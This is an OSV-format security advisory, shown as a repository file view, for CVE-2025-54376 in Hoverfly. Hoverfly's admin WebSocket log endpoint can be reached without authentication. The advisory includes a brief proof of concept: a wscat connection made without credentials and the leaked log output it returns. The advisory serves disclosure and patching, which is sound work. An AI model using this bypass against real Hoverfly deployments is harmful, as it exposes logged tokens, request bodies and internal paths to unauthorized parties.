Files
vuln-osv/data/Go/GHSA-jxmr-2h4q-rhxp.json
T

1 line
3.5 KiB
JSON
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
{"schema_version":"1.9.0","id":"GHSA-jxmr-2h4q-rhxp","published":"2025-09-10T20:43:49Z","modified":"2025-09-24T21:14:07Z","aliases":["CVE-2025-54376","GO-2025-3945"],"summary":"WebSocket endpoint `/api/v2/ws/logs` reachable without authentication even when --auth is enabled","details":"### Summary\nHoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API.\nConsequently, an unauthenticated remote attacker can:\n\n- Stream real-time application logs (information disclosure).\n- Gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs.\n\n### PoC\n1. Start Hoverfly with authentication enabled:\n\n```\n./hoverfly -auth\n```\n\n2. Confirm REST API requires credentials:\n\n```\ncurl -i http://localhost:8888/api/v2/hoverfly/version\n```\n\n3. Connect to the WebSocket endpoint without credentials:\n\n\n```\nwscat -c ws://localhost:8888/api/v2/ws/logs\n# Connected (press CTRL+C to quit)\n# … logs stream immediately … (You would need to send a message to start receiving stream)\n```\n\n```\nwscat -c ws://localhost:8888/api/v2/ws/logs\nConnected (press CTRL+C to quit)\n> hi!\n< {\"logs\":[{\"level\":\"info\",\"msg\":\"Log level set to verbose\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"info\",\"msg\":\"Using memory backend\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"info\",\"msg\":\"User added successfully\",\"time\":\"2025-07-20T17:07:00+05:30\",\"username\":\"\"},{\"level\":\"info\",\"msg\":\"Enabling proxy authentication\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"Destination\":\".\",\"Mode\":\"simulate\",\"ProxyPort\":\"8500\",\"level\":\"info\",\"msg\":\"Proxy prepared...\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"destination\":\".\",\"level\":\"info\",\"mode\":\"simulate\",\"msg\":\"current proxy configuration\",\"port\":\"8500\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"info\",\"msg\":\"serving proxy\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"AdminPort\":\"8888\",\"level\":\"info\",\"msg\":\"Admin interface is starting...\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"debug\",\"message\":\"hi!\",\"msg\":\"Got message...\",\"time\":\"2025-07-20T17:09:04+05:30\"}]}\n< ...\n< ...\n```\n\n### Impact\nAuthentication bypass; an attacker receives full application logs, including proxied request/response bodies, tokens, file paths, etc.","affected":[{"package":{"name":"github.com/SpectoLabs/hoverfly","ecosystem":"Go","purl":"pkg:golang/github.com/SpectoLabs/hoverfly"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.12.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-jxmr-2h4q-rhxp/GHSA-jxmr-2h4q-rhxp.json"}}],"references":[{"type":"WEB","url":"https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-jxmr-2h4q-rhxp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54376"},{"type":"WEB","url":"https://github.com/SpectoLabs/hoverfly/commit/ffc2cc34563de67fe1a04f7ba5d78fa2d4564424"},{"type":"PACKAGE","url":"https://github.com/SpectoLabs/hoverfly"},{"type":"WEB","url":"https://pkg.go.dev/vuln/GO-2025-3945"}],"database_specific":{"cwe_ids":["CWE-200","CWE-287"],"github_reviewed":true,"github_reviewed_at":"2025-09-10T20:43:49Z","nvd_published_at":"2025-09-10T20:15:35Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"}]}